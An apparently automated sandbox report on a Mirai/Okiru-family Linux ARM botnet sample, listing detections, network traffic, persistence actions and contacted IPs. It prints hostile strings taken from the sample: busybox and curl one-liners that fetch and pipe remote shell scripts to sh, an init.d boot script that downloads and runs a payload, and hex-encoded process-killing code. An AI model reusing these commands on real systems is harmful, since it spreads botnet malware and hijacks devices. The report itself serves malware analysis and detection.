Linux Analysis Report
arm7.nn.elf

Overview

General Information

Sample name: arm7.nn.elf
Analysis ID: 1526567
MD5: ae18e5a0eaedc0a4b8eeb2af98264462
SHA1: 310a96a5eada8987749ffa51d40ef73e5ce2ef26
SHA256: 1276a39c595af5b314111387ef58fd3fc11c55e62a140b8a2c4ff0132b648243
Tags: user-elfdigest
Infos:

Detection

Mirai, Okiru
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "rm" command used to delete files or directories
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm7.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm7.nn.elf ReversingLabs: Detection: 50%
Source: arm7.nn.elf Virustotal: Detection: 53% Perma Link
Found strings indicative of a multi-platform dropper
Source: arm7.nn.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login/proc/self/statusTracerPid/proc/1/cgroupkubepods/proc filesystem not found. Exiting. gorilla botnet didnt like this honeypot..../etc/motdw%s
Source: arm7.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://154.216.19.140/lol.sh -O- | sh;/bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- | sh;/bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;curl http://154.216.19.140/curl.sh -o- | sh154.216.19.140GET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:38990 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.23:41516 -> 193.143.1.59:38242
Source: global traffic TCP traffic: 192.168.2.23:39342 -> 87.120.84.105:38242
Source: global traffic TCP traffic: 192.168.2.23:53530 -> 185.170.144.84:38242
Sample listens on a socket
Source: /tmp/arm7.nn.elf (PID: 6234) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: arm7.nn.elf, inittab.16.dr, arm7.nn.elf.42.dr, profile.16.dr, custom.service.16.dr, bootcmd.16.dr, mybinary.16.dr String found in binary or memory: http://154.216.19.140/
Source: arm7.nn.elf String found in binary or memory: http://154.216.19.140/curl.sh
Source: arm7.nn.elf String found in binary or memory: http://154.216.19.140/lol.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample and/or dropped files contains symbols with suspicious names
Source: arm7.nn.elf ELF static info symbol of initial sample: __gnu_unwind_execute
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresha
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://154.216.19.140/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://154.216.19.140/lol.sh -O- | sh;/bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- | sh;/bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;curl http://154.216.19.140/curl.sh -o- | sh154.216.19.140GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample tries to kill a process (SIGKILL)
Source: /tmp/arm7.nn.elf (PID: 6256) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6256) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6256) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6256) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6256) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6256) SIGKILL sent: pid: 6278, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6256) SIGKILL sent: pid: 6299, result: successful Jump to behavior
Source: classification engine Classification label: mal88.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/arm7.nn.elf (PID: 6234) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/arm7.nn.elf (PID: 6234) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6318) File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary Jump to behavior
Source: /usr/bin/ln (PID: 6336) File: /etc/rc.d/S99arm7.nn.elf -> /etc/init.d/arm7.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/arm7.nn.elf (PID: 6234) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6311) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6323) File: /etc/init.d/arm7.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6450/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6460/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6452/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6451/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6421/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6454/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6453/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6445/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6456/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6422/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6444/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6455/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6063/cmdline Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6447/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6458/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6446/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6457/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6449/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6448/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6459/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6341) File opened: /proc/6419/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm7.nn.elf (PID: 6276) Shell command executed: /bin/sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6309) Shell command executed: /bin/sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6316) Shell command executed: /bin/sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6319) Shell command executed: /bin/sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm7.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm7.nn.elf'\n /tmp/arm7.nn.elf &\n wget http://154.216.19.140/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm7.nn.elf'\n killall arm7.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm7.nn.elf" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6321) Shell command executed: /bin/sh -c "chmod +x /etc/init.d/arm7.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6324) Shell command executed: /bin/sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6331) Shell command executed: /bin/sh -c "ln -s /etc/init.d/arm7.nn.elf /etc/rc.d/S99arm7.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6311) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary Jump to behavior
Source: /bin/sh (PID: 6323) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm7.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6330) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6221) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.6pdpbvSciu /tmp/tmp.MsKToqCd4o /tmp/tmp.pnJQh3yJzc Jump to behavior
Source: /usr/bin/dash (PID: 6222) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.6pdpbvSciu /tmp/tmp.MsKToqCd4o /tmp/tmp.pnJQh3yJzc Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6279) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/arm7.nn.elf (PID: 6234) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6311) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6323) File: /etc/init.d/arm7.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/arm7.nn.elf (PID: 6234) Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary Jump to dropped file
Source: /tmp/arm7.nn.elf (PID: 6234) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6319) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm7.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/arm7.nn.elf (PID: 6234) File: /etc/init.d/mybinary Jump to dropped file
Source: /bin/sh (PID: 6319) File: /etc/init.d/arm7.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm7.nn.elf (PID: 6234) Queries kernel information via 'uname': Jump to behavior
Source: arm7.nn.elf, 6234.1.000056171c9ed000.000056171cb3c000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm/usrQ`|
Source: arm7.nn.elf, 6234.1.000056171c9ed000.000056171cb3c000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm/usrQ
Source: arm7.nn.elf, 6234.1.000056171c9ed000.000056171cb3c000.rw-.sdmp Binary or memory string: !/usr/libexec/gsd-wacom!/proc/721/exe!/usr/bin/vmtoolsdrm/pro
Source: arm7.nn.elf, 6234.1.00007ffed4976000.00007ffed4997000.rw-.sdmp Binary or memory string: /tmp/qemu-open.yfgv7A
Source: arm7.nn.elf, 6234.1.000056171c9ed000.000056171cb3c000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm7.nn.elf, 6234.1.000056171c9ed000.000056171cb3c000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.nn.elf, 6234.1.00007ffed4976000.00007ffed4997000.rw-.sdmp Binary or memory string: vx86_64/usr/bin/qemu-arm/tmp/arm7.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.nn.elf
Source: arm7.nn.elf, 6234.1.000056171c9ed000.000056171cb3c000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/arm
Source: arm7.nn.elf, 6234.1.00007ffed4976000.00007ffed4997000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm7.nn.elf, 6234.1.00007ffed4976000.00007ffed4997000.rw-.sdmp Binary or memory string: V/tmp/qemu-open.yfgv7A:

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 6234.1.00007fda18017000.00007fda18036000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 6234.1.00007fda18017000.00007fda18036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 6234, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 6234.1.00007fda18017000.00007fda18036000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 6234.1.00007fda18017000.00007fda18036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 6234, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.112.253.208
 unknown United States
20001 TWC-20001-PACWESTUS false
27.239.143.156
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
162.64.49.51
 unknown United States
35893 ACPCA false
2.201.201.43
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
192.48.250.112
 unknown United States
19682 TLFXAS01US false
9.78.191.157
 unknown United States
3356 LEVEL3US false
86.19.24.254
 unknown United Kingdom
5089 NTLGB false
16.186.201.11
 unknown United States
unknown unknown false
223.77.165.193
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
125.255.131.237
 unknown Japan 1221 ASN-TELSTRATelstraCorporationLtdAU false
131.193.114.222
 unknown United States
6200 UIC-ASUS false
62.97.97.13
 unknown Spain
8220 COLTCOLTTechnologyServicesGroupLimitedGB false
147.35.128.110
 unknown United States
1580 DNIC-ASBLK-01550-01601US false
158.70.208.242
 unknown United States
7046 RFC2270-UUNET-CUSTOMERUS false
171.192.61.161
 unknown United States
10794 BANKAMERICAUS false
129.35.49.144
 unknown United States
1747 IBMWATSON-ASUS false
8.200.176.23
 unknown United States
3356 LEVEL3US false
110.34.178.120
 unknown Thailand
35908 VPLSNETUS false
49.254.102.119
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
96.158.231.158
 unknown United States
7922 COMCAST-7922US false
112.57.175.27
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
53.94.145.196
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
63.233.71.169
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
154.12.219.231
 unknown United States
174 COGENT-174US false
93.16.231.148
 unknown France
15557 LDCOMNETFR false
130.173.198.124
 unknown United States
12173 UAUS false
49.80.187.40
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
19.126.168.106
 unknown United States
3 MIT-GATEWAYSUS false
157.107.136.102
 unknown Japan 4685 ASAHI-NETAsahiNetJP false
221.208.165.30
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
79.250.189.91
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
222.34.76.106
 unknown China
134810 CMNET-JILIN-AS-APChinaMobileGroupJiLincommunicationsco false
27.69.126.65
 unknown Viet Nam
7552 VIETEL-AS-APViettelGroupVN false
107.31.26.108
 unknown United States
14654 WAYPORTUS false
207.44.100.111
 unknown United States
3737 AS-PTDUS false
222.217.63.230
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
114.142.142.177
 unknown India
4721 JCNJupiterTelecommunicationsCoLtdJP false
105.34.36.56
 unknown Egypt
37069 MOBINILEG false
100.210.116.0
 unknown United States
21928 T-MOBILE-AS21928US false
139.87.184.76
 unknown United States
20054 AS13832US false
76.25.139.168
 unknown United States
7922 COMCAST-7922US false
119.200.29.157
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
210.152.122.182
 unknown Japan 4694 IDCFIDCFrontierIncJP false
73.71.90.170
 unknown United States
7922 COMCAST-7922US false
209.152.185.166
 unknown United States
35041 NET-BINERO-STHLM1SE false
128.37.55.76
 unknown United States
27064 DNIC-ASBLK-27032-27159US false
1.168.211.11
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
78.245.167.244
 unknown France
12322 PROXADFR false
29.177.144.67
 unknown United States
7922 COMCAST-7922US false
30.141.6.11
 unknown United States
7922 COMCAST-7922US false
18.106.66.209
 unknown United States
3 MIT-GATEWAYSUS false
107.41.123.225
 unknown United States
16567 NETRIX-16567US false
156.228.180.116
 unknown Seychelles
328608 Africa-on-Cloud-ASZA false
167.245.160.21
 unknown United States
13325 STOMIUS false
110.174.253.105
 unknown Australia
7545 TPG-INTERNET-APTPGTelecomLimitedAU false
116.24.182.153
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
7.210.242.100
 unknown United States
3356 LEVEL3US false
114.156.125.169
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
142.110.46.211
 unknown Canada
25635 SAIT-ASCA false
220.74.252.165
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
155.162.50.37
 unknown United States
37532 ZAMRENZM false
112.239.23.62
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
142.77.145.201
 unknown United States
701 UUNETUS false
122.253.193.89
 unknown Japan 2510 INFOWEBFUJITSULIMITEDJP false
193.143.1.59
 unknown unknown
57271 BITWEB-ASRU false
91.192.158.43
 unknown Ukraine
24881 INTERPHONE-ASUA false
52.96.223.135
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
103.208.221.9
 unknown Japan 46562 TOTAL-SERVER-SOLUTIONSUS false
14.147.243.174
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
30.216.123.42
 unknown United States
7922 COMCAST-7922US false
44.52.114.173
 unknown United States
7377 UCSDUS false
195.218.100.81
 unknown United Kingdom
15502 VODAFONE-IRELAND-ASNIE false
187.37.131.26
 unknown Brazil
28573 CLAROSABR false
148.95.248.181
 unknown United States
786 JANETJiscServicesLimitedGB false
176.135.216.89
 unknown France
5410 BOUYGTEL-ISPFR false
221.146.149.176
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
173.53.99.161
 unknown United States
701 UUNETUS false
193.231.175.92
 unknown Romania
15407 SOFTNETRO false
216.162.251.196
 unknown United States
11559 RSA-BEDFORDUS false
43.224.123.163
 unknown New Zealand
132347 MIKIPRO-AS-APMikiProLtdNZ false
78.20.95.118
 unknown Belgium
6848 TELENET-ASBE false
158.36.49.115
 unknown Norway
224 UNINETTUNINETTTheNorwegianUniversityResearchNetwork false
178.118.215.168
 unknown Belgium
6848 TELENET-ASBE false
179.66.77.159
 unknown Brazil
7738 TelemarNorteLesteSABR false
100.205.139.157
 unknown United States
